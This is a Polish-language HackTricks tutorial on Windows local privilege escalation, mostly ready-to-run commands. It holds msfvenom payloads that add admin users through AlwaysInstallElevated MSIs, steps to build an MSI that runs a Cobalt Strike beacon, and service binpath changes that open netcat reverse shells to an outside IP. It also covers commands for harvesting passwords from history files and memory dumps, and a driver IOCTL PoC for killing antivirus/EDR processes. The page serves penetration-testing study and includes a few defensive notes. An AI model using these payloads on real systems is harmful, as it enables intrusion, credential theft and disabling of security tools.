Windows Local Privilege Escalation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors: WinPEAS
Podstawy Windows
Access Tokens
Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuacją:
ACLs - DACLs/SACLs/ACEs
Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuacją:
Windows Security Controls
Istnieją różne mechanizmy w Windows, które mogą prevent you from enumerating the system, uniemożliwić uruchamianie plików wykonywalnych lub nawet detect your activities. Powinieneś read następującą page i enumerate wszystkie te defenses mechanisms przed rozpoczęciem privilege escalation enumeration:
System Info
Version info enumeration
Sprawdź, czy wersja Windows ma jakieś znane vulnerability (sprawdź także zastosowane poprawki).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
Ta site jest przydatna do wyszukiwania szczegółowych informacji o Microsoft security vulnerabilities. Ta baza danych zawiera ponad 4,700 security vulnerabilities, pokazując massive attack surface, które prezentuje środowisko Windows.
Na systemie
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Lokalnie z informacjami o systemie
Repozytoria Github z exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Środowisko
Czy jakiekolwiek credential/Juicy info są zapisane w env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
Historia PowerShell
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Pliki transkryptów
Możesz dowiedzieć się, jak to włączyć, na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Szczegóły wykonywania potoków PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń oraz fragmenty skryptów. Nie zawsze jednak rejestrowane są pełne informacje o wykonaniu i wynikach.
Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji “Transcript files” dokumentacji, wybierając “Module Logging” zamiast “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell możesz wykonać:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Rejestrowany jest kompletny zapis aktywności oraz pełna zawartość wykonywania skryptu, dzięki czemu każdy blok kodu jest dokumentowany w trakcie uruchamiania. Proces ten zachowuje kompleksowy audyt każdej czynności, cenny dla forensics i analizy złośliwego zachowania. Dokumentując całą aktywność w czasie wykonania, dostarczane są szczegółowe informacje o przebiegu procesu.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń możesz użyć:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Ustawienia Internetu
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Dyski
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Możesz przejąć system, jeśli żądania aktualizacji używają http zamiast httpS.
Rozpoczynasz od sprawdzenia, czy sieć używa WSUS bez SSL, uruchamiając poniższe polecenie w cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Lub następujące w PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Jeśli otrzymasz odpowiedź taką jak jedna z poniższych:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" jest równe 1.
Wtedy, it is exploitable. Jeśli ostatni wpis rejestru jest równy 0, wpis WSUS zostanie zignorowany.
Aby wykorzystać tę podatność możesz użyć narzędzi takich jak: Wsuxploit, pyWSUS – są to MiTM weaponized exploits scripts do wstrzykiwania ‘fake’ aktualizacji do ruchu WSUS bez SSL.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Zasadniczo, to jest luka, którą wykorzystuje ten błąd:
Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia lokalnie PyWSUS, aby przechwycić własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje też jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat self-signed dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno HTTP, jak i HTTPS ruch WSUS. WSUS nie używa żadnych HSTS-like mechanizmów do implementacji trust-on-first-use typu walidacji certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
Możesz wykorzystać tę podatność używając narzędzia WSUSpicious (gdy będzie dostępne).
Auto-updatery stron trzecich i Agent IPC (local privesc)
Wiele enterprise agentów eksponuje powierzchnię IPC na localhost oraz uprzywilejowany kanał aktualizacji. Jeśli rejestrację można wymusić na serwer atakującego, a updater ufa rogue root CA lub ma słabe sprawdzanie podpisów, lokalny użytkownik może dostarczyć złośliwe MSI, które usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj:
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Jeśli te 2 wpisy rejestru są włączone (wartość to 0x1), to użytkownicy o dowolnych uprawnieniach mogą zainstalować (wykonać) *.msi pliki jako NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę używając modułu exploit/windows/local/always_install_elevated
PowerUP
Użyj polecenia Write-UserAddMSI z PowerUP, aby w bieżącym katalogu utworzyć binarkę MSI Windows do eskalacji uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować GIU access):
Write-UserAddMSI
Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia.
MSI Wrapper
Przeczytaj ten samouczek, aby dowiedzieć się, jak stworzyć MSI wrapper z użyciem tych narzędzi. Zwróć uwagę, że możesz opakować plik “.bat”, jeśli tylko chcesz uruchamiać polecenia
Utwórz MSI przy użyciu WIX
Create MSI with Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe - Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
- Give the project a name, like AlwaysPrivesc, use
C:\privescfor the location, select place solution and project in the same directory, and click Create. - Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
- Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
- There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
- Right-click the project and select View > Custom Actions.
- Right-click Install and select Add Custom Action.
- Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
- Under the Custom Action Properties, change Run64Bit to True.
- Finally, build it.
- If the warning
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'is shown, make sure you set the platform to x64.
Instalacja MSI
Aby wykonać instalację złośliwego .msi pliku w tle:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Aby wykorzystać tę podatność możesz użyć: exploit/windows/local/always_install_elevated
Antywirusy i detektory
Ustawienia audytu
Te ustawienia decydują o tym, co jest logowane, więc powinieneś zwrócić na to uwagę
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding — warto wiedzieć, dokąd są wysyłane logi
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS jest zaprojektowany do zarządzania lokalnymi hasłami Administratora, zapewniając, że każde hasło jest unikatowe, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano wystarczające uprawnienia poprzez ACLs, co pozwala im — jeśli są uprawnieni — przeglądać lokalne hasła administratora.
WDigest
Jeśli aktywny, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Począwszy od Windows 8.1, Microsoft wprowadził rozszerzoną ochronę dla Local Security Authority (LSA), aby blokować próby niezaufanych procesów odczytania jego pamięci lub wstrzyknięcia kodu, dodatkowo zabezpieczając system.
Więcej informacji o LSA Protection tutaj.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami, takimi jak ataki typu pass-the-hash.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Kiedy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany security package, domain credentials dla tego użytkownika są zazwyczaj ustanawiane.
Więcej informacji o Cached Credentials tutaj.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Użytkownicy i grupy
Wyliczanie użytkowników i grup
Sprawdź, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Grupy uprzywilejowane
Jeśli należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie eskalować uprawnienia. Dowiedz się o grupach uprzywilejowanych i jak je nadużywać, aby eskalować uprawnienia tutaj:
Manipulacja tokenami
Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i jak je nadużywać:
Zalogowani użytkownicy / Sesje
qwinsta
klist sessions
Katalogi domowe
dir C:\Users
Get-ChildItem C:\Users
Polityka haseł
net accounts
Pobierz zawartość schowka
powershell -command "Get-Clipboard"
Uruchomione procesy
Uprawnienia plików i folderów
Przede wszystkim, listując procesy, sprawdź, czy w command line procesu nie znajdują się hasła.
Sprawdź, czy możesz overwrite some binary running lub czy masz uprawnienia zapisu w folderze z binary, aby wykorzystać możliwe DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Zawsze sprawdzaj, czy działają electron/cef/chromium debuggers — możesz je wykorzystać do eskalacji uprawnień.
Sprawdzanie uprawnień binariów procesów
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Sprawdzanie uprawnień folderów zawierających pliki binarne procesów (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Możesz utworzyć memory dump uruchomionego procesu za pomocą procdump z sysinternals. Usługi takie jak FTP mają credentials in clear text in memory, spróbuj zrzucić pamięć i odczytać credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Niezabezpieczone aplikacje GUI
Aplikacje uruchomione jako SYSTEM mogą umożliwić użytkownikowi uruchomienie CMD lub przeglądanie katalogów.
Przykład: “Windows Help and Support” (Windows + F1), wyszukaj “command prompt”, kliknij “Click to open Command Prompt”
Services
Service Triggers pozwalają Windows uruchomić usługę, gdy wystąpią określone warunki (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Nawet bez uprawnień SERVICE_START często można uruchomić uprzywilejowane usługi, wyzwalając ich triggers. Zobacz techniki enumeracji i aktywacji tutaj:
Wyświetl listę usług:
net start
wmic service list brief
sc query
Get-Service
Uprawnienia
Możesz użyć sc, aby uzyskać informacje o usłudze
sc qc <service_name>
Zaleca się posiadanie binarki accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Zaleca się sprawdzenie, czy “Authenticated Users” mogą modyfikować jakąkolwiek usługę:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Możesz pobrać accesschk.exe dla XP stąd
Włącz usługę
Jeśli występuje ten błąd (na przykład z SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Możesz ją włączyć używając
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)
Innym obejściem tego problemu jest uruchomienie:
sc.exe config usosvc start= auto
Modyfikacja ścieżki pliku binarnego usługi
W scenariuszu, w którym grupa “Authenticated users” posiada SERVICE_ALL_ACCESS dla usługi, możliwa jest modyfikacja pliku wykonywalnego usługi. Aby zmodyfikować i uruchomić sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Ponowne uruchomienie usługi
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Eskalację uprawnień można uzyskać dzięki następującym przywilejom:
- SERVICE_CHANGE_CONFIG: Pozwala na rekonfigurację pliku binarnego usługi.
- WRITE_DAC: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usługi.
- WRITE_OWNER: Pozwala na przejęcie własności oraz rekonfigurację uprawnień.
- GENERIC_WRITE: Daje możliwość zmiany konfiguracji usługi.
- GENERIC_ALL: Również daje możliwość zmiany konfiguracji usługi.
Do wykrywania i eksploatacji tej podatności można użyć exploit/windows/local/service_permissions.
Słabe uprawnienia plików binarnych usług
Sprawdź, czy możesz zmodyfikować plik binarny uruchamiany przez usługę lub jeśli masz uprawnienia zapisu do folderu gdzie znajduje się plik binarny (DLL Hijacking).
Możesz uzyskać wszystkie pliki binarne uruchamiane przez usługę używając wmic (nie w system32) i sprawdzić swoje uprawnienia używając icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Możesz też użyć sc i icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Uprawnienia do modyfikacji rejestru usług
Powinieneś sprawdzić, czy możesz modyfikować dowolny rejestr usług.
Możesz sprawdzić swoje uprawnienia do rejestru usług, wykonując:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE posiadają uprawnienia FullControl. Jeśli tak, binarkę uruchamianą przez usługę można zmodyfikować.
Aby zmienić ścieżkę uruchamianego pliku binarnego:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Rejestr usług — uprawnienia AppendData/AddSubdirectory
Jeśli masz to uprawnienie dla rejestru, oznacza to, że możesz tworzyć podrejestry w tym rejestrze. W przypadku usług Windows jest to wystarczające do uruchomienia dowolnego kodu:
AppendData/AddSubdirectory permission over service registry
Ścieżki usług bez cudzysłowów
Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows będzie próbował uruchomić każdy fragment ścieżki kończący się przed spacją.
Na przykład, dla ścieżki C:\Program Files\Some Folder\Service.exe Windows spróbuje uruchomić:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Wypisz wszystkie ścieżki usług bez cudzysłowów, z wyłączeniem tych należących do wbudowanych usług Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Akcje odzyskiwania
Windows pozwala użytkownikom określić akcje wykonywane w przypadku awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na plik wykonywalny. Jeżeli ten plik wykonywalny może zostać zastąpiony, możliwa może być eskalacja uprawnień. Więcej informacji można znaleźć w oficjalnej dokumentacji.
Aplikacje
Zainstalowane aplikacje
Sprawdź uprawnienia do plików binarnych (może uda ci się nadpisać jeden i eskalować uprawnienia) oraz folderów (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Uprawnienia zapisu
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik lub czy możesz zmodyfikować binarkę, która zostanie wykonana przez konto Administratora (schedtasks).
Sposób na znalezienie słabych uprawnień do folderów/plików w systemie to:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Uruchamianie przy starcie
Sprawdź, czy możesz nadpisać jakiś wpis rejestru lub plik binarny, który zostanie uruchomiony przez innego użytkownika.
Przeczytaj następującą stronę aby dowiedzieć się więcej o interesujących autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Sterowniki
Szukaj możliwych firm trzecich, nietypowych/podatnych sterowników
driverquery
driverquery.exe /fo table
driverquery /SI
Jeśli sterownik ujawnia dowolny mechanizm odczytu/zapisu w kernelu (częsty w źle zaprojektowanych handlerach IOCTL), można eskalować prawa przez kradzież tokenu SYSTEM bezpośrednio z pamięci jądra. Zobacz krok‑po‑kroku tę technikę tutaj:
Arbitrary Kernel Rw Token Theft
Wykorzystanie braku FILE_DEVICE_SECURE_OPEN na obiektach urządzeń (LPE + EDR kill)
Niektóre podpisane sterowniki firm trzecich tworzą swój obiekt urządzenia z silnym SDDL za pomocą IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tego znacznika secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, co pozwala dowolnemu nieuprzywilejowanemu użytkownikowi uzyskać handle używając namespace path takiej jak:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużyte do LPE i manipulacji. Przykładowe możliwości zaobserwowane w rzeczywistych przypadkach:
- Zwrócenie handle z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Nieograniczony surowy odczyt/zapis dysku (modyfikacje offline, metody utrwalania przy uruchomieniu).
- Zakończenie dowolnych procesów, w tym Protected Process/Light (PP/PPL), umożliwiając zabicie AV/EDR z poziomu przestrzeni użytkownika przez jądro.
Minimalny wzorzec PoC (tryb użytkownika):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Zabezpieczenia dla deweloperów
- Zawsze ustaw FILE_DEVICE_SECURE_OPEN podczas tworzenia device objects, które mają być ograniczone przez DACL.
- Waliduj kontekst wywołującego dla operacji uprzywilejowanych. Dodaj sprawdzenia PP/PPL przed zezwoleniem na zakończenie procesu lub zwróceniem handle.
- Ogranicz IOCTLs (access masks, METHOD_*, walidacja wejścia) i rozważ modele pośredniczące zamiast bezpośrednich uprawnień jądra.
Pomysły wykrywania dla obrońców
- Monitoruj otwarcia w user-mode podejrzanych nazw urządzeń (e.g., \ .\amsdk*) oraz specyficzne sekwencje IOCTL wskazujące na nadużycie.
- Egzekwuj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne listy allow/deny.
PATH DLL Hijacking
Jeśli masz uprawnienia do zapisu w folderze, który znajduje się na PATH możesz być w stanie przechwycić DLL ładowaną przez proces i escalate privileges.
Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Aby uzyskać więcej informacji o tym, jak wykorzystać to sprawdzenie:
Writable Sys Path +Dll Hijacking Privesc
Sieć
Udziały
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Sprawdź, czy w hosts file nie ma na stałe wpisanych innych znanych komputerów
type C:\Windows\System32\drivers\etc\hosts
Interfejsy sieciowe i DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Otwarte porty
